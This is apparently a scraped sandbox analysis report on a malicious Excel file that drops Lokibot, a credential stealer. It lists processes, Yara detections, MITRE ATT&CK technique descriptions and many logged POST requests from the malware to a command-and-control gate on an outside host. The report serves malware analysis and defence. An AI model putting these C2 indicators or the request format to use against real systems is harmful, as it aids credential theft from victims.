Dec 21, 2020 08:34:06.257530928 CET	706	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.22	49234	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:06.518841982 CET	707	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:06.707418919 CET	707	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.22	49235	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:06.975399017 CET	708	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:07.170943022 CET	709	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.22	49236	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:07.433149099 CET	709	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:07.616414070 CET	710	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49174	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:35.458679914 CET	624	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:35.642134905 CET	625	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.22	49237	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:07.882491112 CET	711	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:08.079046011 CET	711	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.22	49238	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:34:08.329480886 CET	712	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:34:08.518978119 CET	713	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:34:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.22	49239	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.22	49240	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.22	49241	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.22	49242	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.22	49243	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.22	49244	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.22	49245	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.22	49246	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49175	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:35.934755087 CET	626	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:36.116868019 CET	626	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.22	49247	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.22	49248	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.22	49249	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.22	49250	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.22	49251	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.22	49252	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.22	49253	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.22	49254	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.22	49255	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.22	49256	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49176	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data
Dec 21, 2020 08:33:36.417718887 CET	627	OUT	POST /chud/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: begadi.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: B39EF212 Content-Length: 149 Connection: close
Dec 21, 2020 08:33:36.615479946 CET	628	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Dec 2020 07:33:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.3.24RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.22	49257	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.22	49258	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.22	49259	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.22	49260	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.22	49261	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.22	49262	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.22	49263	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.22	49264	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.22	49265	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.22	49266	185.193.143.118	80	C:\Users\Public\vbc.exe

Timestamp	kBytes transferred	Direction	Data

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2520 Parent PID: 584

General

Start time:	08:32:59
Start date:	21/12/2020
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f280000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: EQNEDT32.EXE PID: 2320 Parent PID: 584

General

Start time:	08:33:19
Start date:	21/12/2020
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: vbc.exe PID: 2952 Parent PID: 2320

General

Start time:	08:33:22
Start date:	21/12/2020
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0xe80000
File size:	584704 bytes
MD5 hash:	3EE960D7D595C82B47CE28164AFED056
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000004.00000002.2196353588.0000000002648000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2195981464.0000000002377000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000004.00000002.2196847340.0000000003C0A000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 33%, ReversingLabs
Reputation:	low

Analysis Process: vbc.exe PID: 3040 Parent PID: 2952

General

Start time:	08:33:27
Start date:	21/12/2020
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xe80000
File size:	584704 bytes
MD5 hash:	3EE960D7D595C82B47CE28164AFED056
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000005.00000002.2391430230.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques.
Tactics:	Collection
Data Sources:	API monitoring, Authentication logs, Packet capture, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report MV NAGOYA TRADER.xlsx

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Exploits:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "MV NAGOYA TRADER.xlsx"

Indicators

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2628408

General

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre